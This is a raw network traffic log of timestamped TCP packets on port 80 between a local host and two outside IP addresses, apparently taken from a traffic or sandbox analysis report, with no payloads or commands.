Nov 24, 2024 12:24:27.507713079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.507757902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.507850885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.508100033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.508328915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.508378983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.508418083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.509191036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.509304047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.509326935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.510061979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.510104895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.510271072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.510932922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.510967970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.511002064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.511841059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.511913061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.511953115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.512705088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.512747049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.512761116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.513664007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.513751030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.513781071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.514530897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.514575958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.514596939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.515336037 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.515377998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.515441895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.516349077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.516403913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.516446114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.517083883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.517143965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.517219067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.517962933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.518013954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.518043041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.518830061 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.518872023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.518935919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.519732952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.519793034 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.519810915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.520658016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.520690918 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.520737886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.521478891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.521528006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.521536112 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.522339106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.522402048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.522442102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.523233891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.523269892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.523296118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.524121046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.524169922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.524202108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.525042057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.525084019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.525084019 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.525886059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.525938988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.526000977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.526756048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.526818991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.526842117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.527615070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.527734995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.527736902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.528529882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.528584003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.528676033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.529391050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.529449940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.529506922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.530263901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.530294895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.530374050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.531162024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.531202078 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.531236887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.532098055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.532146931 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.532269955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.532907009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.532948017 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.533010960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.533787966 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.533826113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.533879042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.534660101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.534698963 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.534761906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.535558939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.535614014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.535677910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.536451101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.536497116 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.536533117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.537298918 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.537377119 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.537411928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.538187981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.538271904 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.538295984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.539047003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.539114952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.539150000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.539973021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.540034056 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.540050983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.540816069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.540862083 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.540898085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.541703939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.541744947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.541805029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.542579889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.542622089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.542629004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.543442965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.543504000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.543541908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.544388056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.544434071 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.544469118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.545279026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.545330048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.545389891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.546087980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.546147108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.546200991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.546958923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.547008991 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.547069073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.547822952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.547880888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.549957991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.550009966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.550147057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.550188065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.550468922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.550575972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.550719023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.550761938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.551548958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.551598072 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.551667929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.551704884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.552639961 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.552684069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.552685976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.552720070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.553783894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.553832054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.553944111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.553987026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.554852962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.554968119 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.555017948 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.555960894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.556088924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.556135893 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.557097912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.557142973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.557194948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.558177948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.558223963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.558264971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.558439970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.559266090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.559335947 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.559382915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.560406923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.560514927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.560556889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.561542988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.561592102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.561611891 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.562442064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.562607050 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.562649012 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.562686920 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.562727928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.563704014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.563745975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.563818932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.563863039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.564836025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.564877033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.564953089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.564994097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.565912962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.565953970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.566009045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.566050053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.567015886 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.567075968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.567120075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.568140984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.568250895 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.568296909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.569222927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.569268942 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.569335938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.570135117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.570327997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.570369959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.570434093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.570472002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.571464062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.571505070 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.571537971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.571579933 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.572612047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.572654963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.572732925 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.572774887 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.573714018 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.573755980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.573833942 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.573879004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.574762106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.574805021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.574850082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.574889898 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.575850964 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.575890064 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.576009035 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.576047897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.576970100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.577023983 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.577078104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.577116013 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.578092098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.578135014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.578268051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.578309059 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.579178095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.579227924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.579293013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.579333067 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.580290079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.580332041 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.580418110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.580459118 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.581424952 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.581465960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.581546068 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.581585884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.582488060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.582532883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.582602978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.582643986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.583595991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.583640099 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.583698034 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.583739042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.584695101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.584770918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.584775925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.584810972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.585830927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.585874081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.585998058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.586035967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.586920977 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.586962938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.587004900 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.587044954 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.588021994 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.588063955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.588133097 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.588171959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.589114904 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.589158058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.589229107 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.589272022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.590255022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.590293884 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.590354919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.590394974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.591345072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.591375113 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.591387033 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.591413975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.592459917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.592504025 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.592541933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.592581034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.593542099 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.593585014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.593656063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.593694925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.594681978 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.594723940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.594798088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.594837904 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.595773935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.595814943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.595876932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.595920086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.596877098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.596919060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.596990108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.597044945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.598047972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.598081112 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.598088026 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.598120928 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.599086046 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.599128008 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.599198103 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.599240065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.600317955 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.600359917 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.600430965 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.600470066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.601528883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.601572037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.601612091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.601654053 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.602406025 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.602448940 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.602524996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.602565050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.603929996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.603971958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.604077101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.604115963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.605149031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.605165005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.605191946 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.605201960 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.605969906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.606010914 CET	49793	80	192.168.2.4	31.41.244.11
